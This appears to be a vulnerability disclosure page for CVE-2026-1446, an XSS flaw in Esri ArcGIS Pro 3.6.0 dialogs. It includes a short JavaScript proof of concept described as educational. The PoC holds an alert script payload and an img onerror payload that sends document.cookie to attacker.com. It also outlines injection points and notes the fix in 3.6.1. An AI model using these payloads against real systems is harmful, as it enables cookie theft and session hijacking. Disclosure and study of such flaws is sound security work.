CVE-2026-1446: Esri ArcGIS Pro 跨站脚本(XSS)漏洞

// CVE-2026-1446 XSS PoC for Esri ArcGIS Pro 3.6.0 // This PoC demonstrates the XSS vulnerability in ArcGIS Pro dialogs // Note: This is a conceptual PoC for educational purposes // Malicious payload that could be injected var xssPayload = '<script>alert("XSS - CVE-2026-1446")</script>'; // Example attack scenario: // 1. Attacker with local access crafts malicious string // 2. The string is stored or passed to ArcGIS Pro // 3. When victim opens specific dialog (e.g., project properties, metadata editor) // 4. The XSS payload gets rendered without proper sanitization // 5. JavaScript code executes in the context of the application // Simulated injection point (hypothetical) function exploitArcGISPro(targetInput) { // Inject malicious content var maliciousString = '<img src=x onerror="fetch(\'http://attacker.com/steal?cookie=\'+document.cookie)">'; // In actual exploitation: // - This would be passed through project files, metadata fields, or layer properties // - When the dialog renders this content, XSS triggers console.log('Malicious payload prepared:', maliciousString); return maliciousString; } // Mitigation check function checkVersion() { var affectedVersion = '3.6.0'; var fixedVersion = '3.6.1'; console.log('Affected versions: <=' + affectedVersion); console.log('Fixed in version: ' + fixedVersion); }